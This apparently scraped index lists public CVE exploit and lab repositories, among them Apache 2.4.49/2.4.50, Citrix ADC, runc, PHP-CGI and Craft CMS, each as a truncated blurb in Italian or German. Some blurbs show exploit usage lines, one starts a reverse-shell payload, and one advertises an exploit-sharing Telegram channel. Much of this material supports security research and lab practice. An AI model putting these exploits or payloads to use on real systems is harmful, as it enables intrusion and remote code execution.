PoC-Apache-CVE-2021-41773-Infrastructure-LAB

Apache CVE-2021-41773 — Lab Docker PoC Avviso di Sicurezza Questo repository riproduce una vulnerabilità pubblicamente divulgata e corretta in un ambiente di laboratorio Docker controllato, per scopi educativi e di ricerca. L'ambiente è intenzionalmente vulnerabile e deve essere distribuito solo ...

CVE-2021-42013

CVE-2021-42013 - Apache HTTP Server 2.4.50 Come eseguire il lab CVE-2021-42013-Path Traversal 1. Installa ed esegui Docker sul tuo PC/Laptop 2. Clona questa repo github 3. Vai alla cartella Path Traversal 4. Inserisci il seguente comando docker build -t cve-2021-42013-path-traversal . e docker ru...

CVE-2021-41773-L-

CVE-2021-41773 🐛 Vulnerabilità di path traversal e divulgazione di file in Apache HTTP Server 2.4.49 È stato trovato un difetto in una modifica apportata alla normalizzazione dei percorsi in Apache HTTP Server 2.4.49. Un attaccante potrebbe utilizzare un attacco di path traversal per mappare gli...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947 Spring-Cloud-Gateway Nel primo trimestre del 2022, è stata scoperta un'interessante e critica vulnerabilità di Code Injection punteggio base 10.0 in Spring Cloud Gateway, che sfrutta l'API Actuator per eseguire SpEL Injection, potenzialmente portando al compromesso d...

CVE-2024-55503

CVE-2024-55503 Iniezione di comandi dylib nell'app Termius per MacOS Descrizione Un problema in Termius precedente alla v.9.9.0 consente a un attaccante locale di eseguire codice arbitrario tramite uno script appositamente predisposto per il componente DYLDINSERTLIBRARIES, utilizzando dylib...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS RCE Pre-Auth Esecuzione di codice remoto pre-autenticazione in Craft CMS Scoperta e sviluppata daMohammed Idrees Banyamer 📌 Panoramica CVE-2025-32432 è una vulnerabilità critica di esecuzione di codice remoto RCE pre-autenticazione che colpisce diverse versioni di Cra...

CVE-2021-41773_CVE-2021-42013

Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal & RCE Exploit-Autor: Lucas Souza https://ls4ss.github.io/ Hersteller-Website: https://apache.org/ Version: 2.4.49, 2.4.50 Getestet auf: 2.4.49, 2.4.50 CVE : CVE-2021-41773, CVE-2021-42013 Credits: Ash Daulton und das cPanel Security Team Verwendu...

cve-2021-42013

Apache 2.4.50 - Path Traversal o Remote Code Execution CVE-2021-42013.py è uno script Python che aiuta a individuare la vulnerabilità Path Traversal o Remote Code Execution in Apache 2.4.50. Viene fornita un'istanza vulnerabile di Docker per mettere le mani su CVE-2021-42013 Se CGI-BIN è abilitat...

Firefox-CVE-2016-9079

Firefox RCE CVE-2016-9079 nsSMILTimeContainer Questo è un exploit manuale di https://www.exploit-db.com/exploits/41151, un altro esiste per Windows 10 https://github.com/soham23/firefox-rce-nssmil ma non funzionava su Windows 8.1, quindi ho creato il mio. Devi modificare la riga 241 con il tuo...

CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift Dettagli della vulnerabilità Vulnerabilità come vista in HackTheBox - SwagShop Fase 1 = exploit.py Ottieni le credenziali di amministratore per il pannello di controllo di Magento CMS Fase 2 = postauth.py Con le credenziali ottenute da exploit.py aggiunte a...

CVE-2021-3490

Il tracciamento dei limiti ALU32 di eBPF per le operazioni bitwise AND, OR e XOR nel kernel Linux non aggiornava correttamente i limiti a 32 bit, il che poteva trasformarsi in letture e scritture fuori dai limiti nel kernel Linux e, quindi, nell'esecuzione arbitraria di codice. Compilazione: gcc ...

POC-CVE-2025-55182

CVE-2025-55182 - React RSC RCE PoC für die Deserialisierungsschwachstelle im Flight-Protokoll von React Server Components. Was ist das? Next.js 14+ und React 19 verwenden ein proprietäres Protokoll "Flight" zur Kommunikation zwischen Client und Server. Das Problem: Der Server lädt beliebige Modul...

CVE-2024-36401-GeoServer-RCE

Vulnerabilità RCE in GeoServer CVE-2024-36401 - script di rilevamento CVE-2024-36401 è una vulnerabilità di sicurezza critica che colpisce GeoServer, un server open-source per la condivisione di dati geospaziali, e GeoTools, una libreria Java open-source che fornisce strumenti per dati geospazial...

CVE-2021-21300

CVE-2021-21300 Basta clonarmi poi la tua macchina stamperà "PWNED" rif:https://www.openwall.com/lists/oss-security/2021/03/09/3...

CVE-2024-4577-RCE-EXP

TG Tritt uns bei https://t.me/WanLiChangChengWanLiChang Tritt uns bei, um regelmäßig EXP/POCs für verschiedene Schwachstellen zu erhalten CVE-2024-4577-RCE-EXP CVE-2024-4577 PHP-CGI-Schwachstelle für Remote-Codeausführung unter Windows CVE-2024-4577 PHP-CGI-Remote-Code-Execution-Schwachstelle auf...

CVE-2019-19781

Remote-Code-Ausführung-Exploit CVE-2019-19781 – Citrix Application Delivery Controller & Gateway Exploit für Remote-Code-Ausführung für Citrix Application Delivery Controller und Citrix Gateway CVE-2019-19781 Verwendung: bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE z.B : bash...

CVE-2024-4367-POC

CVE-2024-4367 POC Verwendung root@kitploit: python poc.py malicious.pdf "alert'S4vvy'" Referenzen CVE-2024-4367: Beliebige JS-Ausführung in PDF.js PDF.js...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Verwendung : Die Maschine ist anfällig für CVE-2019-5736, befolgen Sie die Schritte im Runc-Exploit CVE-2019-5736. Laden Sie die Datei main.go herunter, ändern Sie die Payload in der Datei zu: root@kitploit: var payload = "!/bin/bash \n bash -i &...

paracosme

Paracosme - CVE-2022-33318 - Esecuzione di codice in remoto in ICONICS Genesis64 Paracosme è un exploit di corruzione della memoria che ho scritto per colpire la suite Genesis64 v10.97.1 prodotta da ICONICS e ottenere l'esecuzione di codice in remoto. L'exploit è stato dimostrato durante il...

Fastjson--CVE-2017-18349-

Fastjson--CVE-2017-18349-Annulla modifiche Dopo aver impostato il progetto come progetto Maven, esegui la funzione main di FastjsondemoApplication.java nota: l'uso di versioni più recenti del JDK potrebbe fallire; si consiglia di utilizzare il JDK versione 1.8.65. File TouchFile.java root@kitploi...